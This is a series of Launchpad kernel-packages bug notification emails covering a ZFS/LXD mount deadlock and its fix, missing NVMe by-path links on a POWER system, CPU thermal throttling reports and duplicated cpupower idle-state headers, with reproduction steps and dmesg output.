  [  725.983551] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  725.991624] INFO: task txg_sync:4202 blocked for more than 120 seconds.
  [  725.998264]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.005071] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  726.013313] INFO: task lxd:99919 blocked for more than 120 seconds.
  [  726.019609]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.026418] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  726.034560] INFO: task zfs:100513 blocked for more than 120 seconds.
  [  726.040936]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.047746] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  726.055791] INFO: task zfs:100584 blocked for more than 120 seconds.
  [  726.062170]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.068979] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.

  Describe how to reproduce the problem

  Start an Ubuntu 18.04 LTS server.
  Install LXD if not already installed.

  sudo apt update
  sudo apt install lxd lxd-client lxd-tools zfsutils-linux

  Configure LXD with sudo lxd init. When prompted for the storage
  backend, select ZFS and specify an empty disk.

  $ sudo lxd init
  Would you like to use LXD clustering? (yes/no) [default=no]:
   Do you want to configure a new storage pool? (yes/no) [default=yes]:
   Name of the new storage pool [default=default]:
   Name of the storage backend to use (dir, zfs) [default=zfs]:
   Create a new ZFS pool? (yes/no) [default=yes]:
   Would you like to use an existing block device? (yes/no) [default=no]: yes
   Path to the existing block device: /dev/sdb
   Would you like to connect to a MAAS server? (yes/no) [default=no]:
   Would you like to create a new local network bridge? (yes/no) [default=yes]: 
no
   Would you like to configure LXD to use an existing bridge or host interface? 
(yes/no) [default=no]: no
   Would you like LXD to be available over the network? (yes/no) [default=no]:
   Would you like stale cached images to be updated automatically? (yes/no) 
[default=yes]
   Would you like a YAML "lxd init" preseed to be printed? (yes/no) 
[default=no]:

  Now run the following to launch 48 containers in batches of 12.

  lxd-benchmark launch --count 48 --parallel 12

  In two out of four attempts, I got the 

[Kernel-packages] [Bug 1746416] Re: Boston-LC:bos009:Ubuntu18.04: No /dev/disk/by-path link created for Samsung PM1725a NVMe 1.6TB and .8 TB disk drives

[Manoj Iyer]

Could you please re-test with latest bionic kernel in -updates and see
if this still an issue?

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1746416

Title:
  Boston-LC:bos009:Ubuntu18.04: No /dev/disk/by-path link created for
  Samsung PM1725a NVMe 1.6TB and .8 TB disk drives

Status in The Ubuntu-power-systems project:
  Incomplete
Status in linux package in Ubuntu:
  New

Bug description:
  == Comment: #1 - Application Cdeadmin 
  BMC/PNOR:
  =

  Firmware Revision : 00.37 IP address : 009.003.020.216
  Firmware Build Time : 20171201BMC MAC address : 0c:c4:7a:f4:4d:60
  PNOR Build Time : 20180117
  CPLD Version : B2.91.00

  
  Ubuntu 18.04:
  =

  
  root@bos1u1p1:~# uname -a
  Linux bos1u1p1 4.15.0-041500rc9-generic #201801212130 SMP Mon Jan 22 03:36:42 
UTC 2018 ppc64le ppc64le ppc64le GNU/Linux

  
  root@bos1u1p1:~# ls -l /dev/disk/by-path
  total 0
  lrwxrwxrwx 1 root root  9 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:0:0 -> 
../../sda
  lrwxrwxrwx 1 root root 10 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:0:0-part1 -> 
../../sda1
  lrwxrwxrwx 1 root root 10 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:0:0-part2 -> 
../../sda2
  lrwxrwxrwx 1 root root  9 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:1:0 -> 
../../sdb
  lrwxrwxrwx 1 root root  9 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:2:0 -> 
../../sdc
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.0-fc-0x500507680b218452-lun-0 -> ../../sdd
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.0-fc-0x500507680b218452-lun-1 -> ../../sde
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.0-fc-0x500507680b218452-lun-2 -> ../../sdf
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.0-fc-0x500507680b218452-lun-3 -> ../../sdg
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.0-fc-0x500507680b218453-lun-0 -> ../../sdh
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.0-fc-0x500507680b218453-lun-1 -> ../../sdi
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.0-fc-0x500507680b218453-lun-2 -> ../../sdj
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.0-fc-0x500507680b218453-lun-3 -> ../../sdk
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.1-fc-0x500507680b218452-lun-0 -> ../../sdl
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.1-fc-0x500507680b218452-lun-1 -> ../../sdm
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.1-fc-0x500507680b218452-lun-2 -> ../../sdn
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.1-fc-0x500507680b218452-lun-3 -> ../../sdo
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.1-fc-0x500507680b218453-lun-0 -> ../../sdp
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.1-fc-0x500507680b218453-lun-1 -> ../../sdq
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.1-fc-0x500507680b218453-lun-2 -> ../../sdr
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.1-fc-0x500507680b218453-lun-3 -> ../../sds
  root@bos1u1p1:~# 

  
  Problem Description:
  =
  - I setup my Boston LC system to run with Ubuntu 18.04

  - I tried to test out Samsung PM1725a NVMe 1.6TB and .8 TB disk drives
  on Boston LC system.

  - The disk drive plugged good into the system. However, after boot the
  system did not see the disk.

  - I tried with both Samsung PM1725a NVMe 1.6TB and with .8TB disk
  drives and none of them show up.

  - This disk type plan to supporte in Boston LC system so if the system
  does not recognize it then it is an issue.

  - I checked with Joe W. my team lead and he told me to open github
  issue for further investigation.

  
  root@bos1u1p1:~# ls -l /dev/disk/by-path
  total 0
  lrwxrwxrwx 1 root root  9 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:0:0 -> 
../../sda
  lrwxrwxrwx 1 root root 10 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:0:0-part1 -> 
../../sda1
  lrwxrwxrwx 1 root root 10 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:0:0-part2 -> 
../../sda2
  lrwxrwxrwx 1 root root  9 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:1:0 -> 
../../sdb
  lrwxrwxrwx 1 root root  9 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:2:0 -> 
../../sdc

  - If the disk is recognized then it will be
  pci-0003:01:00.0-scsi-0:2:3:0 -> ../../sdd but it's not.

  
  == Comment: #2 - Application Cdeadmin 
  --- Comment From dacng 2018-01-25 11:13:00 EDT ---
  You need to install NMVE HBA in your machine

  == Comment: #3 - Application Cdeadmin 
  --- Comment From nguyenp1 2018-01-26 15:35:40 EDT ---
  - I have NVME HBA adapter installed in the system and 2 Samsung PM1725a NVMe 
1.6TB and .8 TB disk drives  in the system.  The adapter and nvme drives show 
correctly.

  - However, the "ls -l /dev/disk/by-path" command did not show any nvme 
drives.  So it's new issue with 
  Ubuntu 18.04.  Without the PCI path the nvme disks can not be assigned to KVM 
guest.

  
  root@bos1u1p1:/dev/disk/by-path# ls -l /dev/disk/by-path
  

[Kernel-packages] [Bug 1781364] Re: Kernel error "task zfs:pid blocked for more than 120 seconds"

[Colin Ian King]

Vasiliy, please refer to comment #8

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to zfs-linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781364

Title:
  Kernel error "task zfs:pid blocked for more than 120 seconds"

Status in Linux:
  Fix Released
Status in linux package in Ubuntu:
  Fix Committed
Status in zfs-linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Confirmed
Status in zfs-linux source package in Xenial:
  Confirmed
Status in linux source package in Bionic:
  Confirmed
Status in zfs-linux source package in Bionic:
  Fix Committed
Status in linux source package in Cosmic:
  Fix Committed
Status in zfs-linux source package in Cosmic:
  Fix Released

Bug description:
  == SRU Justification, XENIAL, BIONIC ==

  Exercising ZFS with lxd with many mount/umounts can cause lockups and
  120 second timeout messages.

  == How to reproduce bug ==

  In a VM, 2 CPUs, 16GB of memory running Bionic:

  sudo apt update
  sudo apt install lxd lxd-client lxd-tools zfsutils-linux
  sudo lxd init

  (and with the default init options)

  then run:

  lxd-benchmark launch --count 96 --parallel 96

  This will reliably show the lockup every time without the fix.  With
  the fix (detailed below) one cannot reproduce the lockup.

  == Fix ==

  Upstream ZFS commit

  commit ac09630d8b0bf6c92084a30fdaefd03fd0adbdc1
  Author: Brian Behlendorf 
  Date: Wed Jul 11 15:49:10 2018 -0700

  Fix zpl_mount() deadlock

  == Regression Potential ==

  This just changes the locking in the mount path of ZFS and will only
  affect ZFS mount/unmounts.  The regression potential is small as this
  touches a very small code path that has been exhaustively exercises
  this code under multiple thread/CPU contention and shown not to break.

  --

  ZFS bug report: https://github.com/zfsonlinux/zfs/issues/7691

  "I am using LXD containers that are configured to use a ZFS storage backend.
  I create many containers using a benchmark tool, which probably stresses the 
use of ZFS.
  In two out of four attempts, I got

  [  725.970508] INFO: task lxd:4455 blocked for more than 120 seconds.
  [  725.976730]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  725.983551] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  725.991624] INFO: task txg_sync:4202 blocked for more than 120 seconds.
  [  725.998264]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.005071] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  726.013313] INFO: task lxd:99919 blocked for more than 120 seconds.
  [  726.019609]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.026418] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  726.034560] INFO: task zfs:100513 blocked for more than 120 seconds.
  [  726.040936]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.047746] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  726.055791] INFO: task zfs:100584 blocked for more than 120 seconds.
  [  726.062170]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.068979] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.

  Describe how to reproduce the problem

  Start an Ubuntu 18.04 LTS server.
  Install LXD if not already installed.

  sudo apt update
  sudo apt install lxd lxd-client lxd-tools zfsutils-linux

  Configure LXD with sudo lxd init. When prompted for the storage
  backend, select ZFS and specify an empty disk.

  $ sudo lxd init
  Would you like to use LXD clustering? (yes/no) [default=no]:
   Do you want to configure a new storage pool? (yes/no) [default=yes]:
   Name of the new storage pool [default=default]:
   Name of the storage backend to use (dir, zfs) [default=zfs]:
   Create a new ZFS pool? (yes/no) [default=yes]:
   Would you like to use an existing block device? (yes/no) [default=no]: yes
   Path to the existing block device: /dev/sdb
   Would you like to connect to a MAAS server? (yes/no) [default=no]:
   Would you like to create a new local network bridge? (yes/no) [default=yes]: 
no
   Would you like to configure LXD to use an existing bridge or host interface? 
(yes/no) [default=no]: no
   Would you like LXD to be available over the network? (yes/no) [default=no]:
   Would you like stale cached images to be updated automatically? (yes/no) 
[default=yes]
   Would you like a YAML "lxd init" preseed to be printed? (yes/no) 
[default=no]:

  Now run the following to launch 48 containers in batches of 12.

  lxd-benchmark launch --count 48 --parallel 12

  In two out of four attempts, I got the kernel errors.

  I also tried

  echo 1 >/sys/module/spl/parameters/spl_taskq_kick

  but did not manage to continue.
  Include any warning/errors/backtraces from the system logs
  dmesg output

[Kernel-packages] [Bug 1781924] Missing required logs.

[Ubuntu Kernel Bot]

This bug is missing log files that will aid in diagnosing the problem.
While running an Ubuntu kernel (not a mainline or third-party kernel)
please enter the following command in a terminal window:

apport-collect 1781924

and then change the status of the bug to 'Confirmed'.

If, due to the nature of the issue you have encountered, you are unable
to run this command, please add a comment stating that fact and change
the bug status to 'Confirmed'.

This change has been made by an automated script, maintained by the
Ubuntu Kernel Team.

** Changed in: linux (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1781924/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781364] Re: Kernel error "task zfs:pid blocked for more than 120 seconds"

[Colin Ian King]

The kernel driver fix will land in the next -proposed kernel as the
Ubuntu ZFS driver comes bundled with the kernel.

If you build zfs from source, then that will build the kernel driver as
a DKMS module with the fix in it and *that* will work.

One needs both the zfs userspace and the kernel for the entire bug fix.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to zfs-linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781364

Title:
  Kernel error "task zfs:pid blocked for more than 120 seconds"

Status in Linux:
  Fix Released
Status in linux package in Ubuntu:
  Fix Committed
Status in zfs-linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Confirmed
Status in zfs-linux source package in Xenial:
  Confirmed
Status in linux source package in Bionic:
  Confirmed
Status in zfs-linux source package in Bionic:
  Fix Committed
Status in linux source package in Cosmic:
  Fix Committed
Status in zfs-linux source package in Cosmic:
  Fix Released

Bug description:
  == SRU Justification, XENIAL, BIONIC ==

  Exercising ZFS with lxd with many mount/umounts can cause lockups and
  120 second timeout messages.

  == How to reproduce bug ==

  In a VM, 2 CPUs, 16GB of memory running Bionic:

  sudo apt update
  sudo apt install lxd lxd-client lxd-tools zfsutils-linux
  sudo lxd init

  (and with the default init options)

  then run:

  lxd-benchmark launch --count 96 --parallel 96

  This will reliably show the lockup every time without the fix.  With
  the fix (detailed below) one cannot reproduce the lockup.

  == Fix ==

  Upstream ZFS commit

  commit ac09630d8b0bf6c92084a30fdaefd03fd0adbdc1
  Author: Brian Behlendorf 
  Date: Wed Jul 11 15:49:10 2018 -0700

  Fix zpl_mount() deadlock

  == Regression Potential ==

  This just changes the locking in the mount path of ZFS and will only
  affect ZFS mount/unmounts.  The regression potential is small as this
  touches a very small code path that has been exhaustively exercises
  this code under multiple thread/CPU contention and shown not to break.

  --

  ZFS bug report: https://github.com/zfsonlinux/zfs/issues/7691

  "I am using LXD containers that are configured to use a ZFS storage backend.
  I create many containers using a benchmark tool, which probably stresses the 
use of ZFS.
  In two out of four attempts, I got

  [  725.970508] INFO: task lxd:4455 blocked for more than 120 seconds.
  [  725.976730]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  725.983551] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  725.991624] INFO: task txg_sync:4202 blocked for more than 120 seconds.
  [  725.998264]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.005071] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  726.013313] INFO: task lxd:99919 blocked for more than 120 seconds.
  [  726.019609]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.026418] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  726.034560] INFO: task zfs:100513 blocked for more than 120 seconds.
  [  726.040936]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.047746] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  726.055791] INFO: task zfs:100584 blocked for more than 120 seconds.
  [  726.062170]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.068979] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.

  Describe how to reproduce the problem

  Start an Ubuntu 18.04 LTS server.
  Install LXD if not already installed.

  sudo apt update
  sudo apt install lxd lxd-client lxd-tools zfsutils-linux

  Configure LXD with sudo lxd init. When prompted for the storage
  backend, select ZFS and specify an empty disk.

  $ sudo lxd init
  Would you like to use LXD clustering? (yes/no) [default=no]:
   Do you want to configure a new storage pool? (yes/no) [default=yes]:
   Name of the new storage pool [default=default]:
   Name of the storage backend to use (dir, zfs) [default=zfs]:
   Create a new ZFS pool? (yes/no) [default=yes]:
   Would you like to use an existing block device? (yes/no) [default=no]: yes
   Path to the existing block device: /dev/sdb
   Would you like to connect to a MAAS server? (yes/no) [default=no]:
   Would you like to create a new local network bridge? (yes/no) [default=yes]: 
no
   Would you like to configure LXD to use an existing bridge or host interface? 
(yes/no) [default=no]: no
   Would you like LXD to be available over the network? (yes/no) [default=no]:
   Would you like stale cached images to be updated automatically? (yes/no) 
[default=yes]
   Would you like a YAML "lxd init" preseed to be printed? (yes/no) 
[default=no]:

  Now run the following to launch 48 containers in batches of 12.

  

[Kernel-packages] [Bug 1719545] Re: [P9][LTCTest][Opal][FW910] cpupower monitor shows multiple stop Idle_Stats

[Manoj Iyer]

** Changed in: linux (Ubuntu)
   Status: Incomplete => Triaged

** Changed in: ubuntu-power-systems
   Status: Incomplete => Triaged

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1719545

Title:
  [P9][LTCTest][Opal][FW910] cpupower monitor shows multiple stop
  Idle_Stats

Status in The Ubuntu-power-systems project:
  Triaged
Status in linux package in Ubuntu:
  Triaged

Bug description:
  == Comment: #0 - PAVAMAN SUBRAMANIYAM  - 2017-06-29 
02:30:22 ==
  ---Problem Description---
  cpupower monitor shows multiple stop Idle_Stats
   

   
  ---uname output---
  Linux zz376p1 4.10.0-26-generic #30~16.04.1-Ubuntu SMP Tue Jun 27 09:38:48 
UTC 2017 ppc64le ppc64le ppc64le GNU/Linux
   
  Machine Type = P9 
   
  ---Debugger---
  A debugger is not configured
   
  ---Steps to Reproduce---
  Install a P9 8375-42A Hardware with Ubuntu 16.04.3 OS.
  Then execute the cpupower monitor command to fetch all the Idle_Stats values.

  root@zz376p1:~# cpupower monitor
|Idle_Stats
  PKG |CORE|CPU | snoo | stop | stop
 0|   8|   0|  0.00|  0.00|  2.79
 0|   8|   1|  0.00|  0.00| 70.68
 0|   8|   2|  0.00|  0.00| 99.87
 0|   8|   3|  0.00|  0.00| 67.28
 0|  12|   4|  0.00|  0.00|  5.17
 0|  12|   5|  0.00|  0.00| 12.50
 0|  12|   6|  0.00|  0.00| 99.74
 0|  12|   7|  0.00|  0.00|  0.00
 8|2048|   8|  0.00|  0.00| 22.14
 8|2048|   9|  0.00|  0.00| 102.3
 8|2048|  10|  0.00|  0.00|  0.00
 8|2048|  11|  0.00|  0.00| 99.97
 8|2052|  12|  0.00|  0.00| 99.70
 8|2052|  13|  0.00|  0.00| 23.86
 8|2052|  14|  0.00|  0.00| 113.1
 8|2052|  15|  0.00|  0.00|  0.00

  As can be seen it shows 2 columns for stop.

  root@zz376p1:~# uname -a
  Linux zz376p1 4.10.0-26-generic #30~16.04.1-Ubuntu SMP Tue Jun 27 09:38:48 
UTC 2017 ppc64le ppc64le ppc64le GNU/Linux

  root@zz376p1:~# cat /etc/os-release
  NAME="Ubuntu"
  VERSION="16.04.2 LTS (Xenial Xerus)"
  ID=ubuntu
  ID_LIKE=debian
  PRETTY_NAME="Ubuntu 16.04.2 LTS"
  VERSION_ID="16.04"
  HOME_URL="http://www.ubuntu.com/;
  SUPPORT_URL="http://help.ubuntu.com/;
  BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/;
  VERSION_CODENAME=xenial
  UBUNTU_CODENAME=xenial

  root@zz376p1:~# cat /proc/cpuinfo | tail
  processor   : 15
  cpu : POWER9 (raw), altivec supported
  clock   : 2600.00MHz
  revision: 1.0 (pvr 004e 0100)

  timebase: 51200
  platform: PowerNV
  model   : 8375-42A
  machine : PowerNV 8375-42A
  firmware: OPAL
   
  Userspace tool common name: /usr/bin/cpupower 
   
  The userspace tool has the following bit modes: 64-bit 

  Userspace rpm: linux-tools-common

  Userspace tool obtained from project website:  na 
   
  *Additional Instructions for pavsu...@in.ibm.com: 
  -Post a private note with access information to the machine that the bug is 
occuring on.
  -Attach ltrace and strace of userspace application.

  
  .
  There are 3 idle_stats (3 states) in this system. 

  root@zz376p1:/sys/devices/system/cpu/cpu0/cpuidle/state2# cpupower monitor -l
  Monitor "Idle_Stats" (3 states) - Might overflow after 4294967295 s
  snoo  [T] -> snooze
  stop  [T] -> stop0_lite
  stop  [T] -> stop1_lite

  root@zz376p1:/sys/devices/system/cpu/cpu0/cpuidle/state2# cpupower idle-info
  CPUidle driver: powernv_idle
  CPUidle governor: menu
  analyzing CPU 0:

  Number of idle states: 3
  Available idle states: snooze stop0_lite stop1_lite
  snooze:
  Flags/Description: snooze
  Latency: 0
  Usage: 224
  Duration: 423
  stop0_lite:
  Flags/Description: stop0_lite
  Latency: 0
  Usage: 1685
  Duration: 530522
  stop1_lite:
  Flags/Description: stop1_lite
  Latency: 4
  Usage: 12693
  Duration: 5405898106

  root@zz376p1:/sys/devices/system/cpu/cpu0/cpuidle/state2# cpupower monitor -l
  Monitor "Idle_Stats" (3 states) - Might overflow after 4294967295 s
  snoo  [T] -> snooze
  stop  [T] -> stop0_lite
  stop  [T] -> stop1_lite
  root@zz376p1:/sys/devices/system/cpu/cpu0/cpuidle/state2# cpupower idle-info
  CPUidle driver: powernv_idle
  CPUidle governor: menu
  analyzing CPU 0:

  Number of idle states: 3
  Available idle states: snooze stop0_lite stop1_lite
  snooze:
  Flags/Description: snooze
  Latency: 0
  Usage: 272
  Duration: 905
  stop0_lite:
  Flags/Description: stop0_lite
  Latency: 0
  Usage: 2141
  Duration: 536399
  stop1_lite:
  Flags/Description: stop1_lite
  Latency: 4
  Usage: 15396
  Duration: 6625668881

  
  cpu monitor will print the results of all the 3 available idle_stats .

  The first stop -> stop0_lite stats
  and
  The second stop -> stop1_lite stats.

  cpupower monitor header prints the header list by getting the name of
  the idle stats.

  name  (name description)
  snoo   [T] -> snooze
  stop   [T] -> stop0_lite
  stop   [T] -> stop1_lite

  We can change the header to be more 

[Kernel-packages] [Bug 1781924] Re: Kernel wrong temperature reporting

[benjamin button]

Added lspci_vnvn.log

** Attachment added: "lspci-vnvn.log"
   
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1781924/+attachment/5164176/+files/lspci-vnvn.log

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  New

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1781924/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781364] Re: Kernel error "task zfs:pid blocked for more than 120 seconds"

[Vasiliy]

My experiments was here:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1773392

I installed new 18.04 + zfs + lxd   - zfs hangs (well, that would be awkward if 
would not)
+zfsutils-linux=0.7.5-1ubuntu16.3   - zfs hangs (ok, we need upgrade kernel too)
+kernel=4.15.0.28 (all packages)- still hangs :( Am I missing something?
+everything_0.7.5=0.7.5-1ubuntu16.3 - still hangs...
+upgrade+dist-upgrade from proposed - still hangs...

So this bug doesn't fixed for me... And it is strange, because I used to
install zfs 0.7.9 from source with commit that fixed bug
(https://github.com/zfsonlinux/zfs/pull/7693) - and that worked for me
on default kernel (4.15.0.20).

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to zfs-linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781364

Title:
  Kernel error "task zfs:pid blocked for more than 120 seconds"

Status in Linux:
  Fix Released
Status in linux package in Ubuntu:
  Fix Committed
Status in zfs-linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Confirmed
